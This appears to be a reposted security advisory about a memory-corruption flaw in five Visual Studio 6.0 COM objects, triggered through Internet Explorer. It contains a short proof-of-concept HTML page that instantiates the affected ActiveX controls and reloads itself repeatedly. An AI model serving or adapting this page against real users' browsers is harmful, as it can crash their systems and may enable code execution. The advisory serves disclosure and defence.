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Visual Studio 6.0 Multiple COM Object Instantiation Vulnerability
------------------------------------------------------------------------
SUMMARY
Multiple vulnerability has been found in Visual Studio 6.0. When Internet
Explorer tries to instantiate the TCPROPS.DLL,
FP30WEC.DLL,mdt2db.dll,mdt2qd.dll,VI30AUT.DLL (Visual Studio 6.0) COM
object as an ActiveX control, it may corrupt system memory in such a way
that an attacker may DoS and possibly could execute arbitrary code.
DETAILS
Vulnerable Systems:
* Visual Studio version 6.0 with Internet Explorer version 6.0 SP1
Exploit:
<!--
// Visual Studio 6.0 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000/2003
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}
// Info: FpFile Class// ProgID: WECAPI.FpFile.1
// InprocServer32: C:\WINDOWS\System\FP30WEC.DLL
// CLSID: {AB39F080-0F5D-11D1-8E2F-00C04FB68D60}
// Info: TCExtPage Class
// InprocServer32: C:\PROGRA~1\MICROS~1\Common\Tools\TCPROPS.DLL
// CLSID: {CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}
// Info: FpaFile Class// ProgID: FpaFile.FpaFile.1
// InprocServer32: C:\WINDOWS\system\VI30AUT.DLL
// CLSID: {E9B0E6CB-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Query Designer// ProgID: MSDTQueryDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft
Shared\MSDesigners98\mdt2qd.dll
// CLSID: {E9B0E6D4-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Database Designer// ProgID:
MSDTDatabaseDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft
Shared\MSDesigners98\mdt2db.dll
--!>
<html><body>
<object classid="CLSID:{9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}"> </object>
<object classid="CLSID:{AB39F080-0F5D-11D1-8E2F-00C04FB68D60}"> </object>
<object classid="CLSID:{CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}"> </object>
<object classid="CLSID:{E9B0E6CB-811C-11D0-AD51-00A0C90F5739}"> </object>
<object classid="CLSID:{E9B0E6D4-811C-11D0-AD51-00A0C90F5739}"> </object>
<!--
</body>
<script>location.reload();</script>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:nop@xsec.org> nop.
The original article can be found at:
<http://www.xsec.org/index.php?module=releases&act=view&type=1&id=15>
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=15
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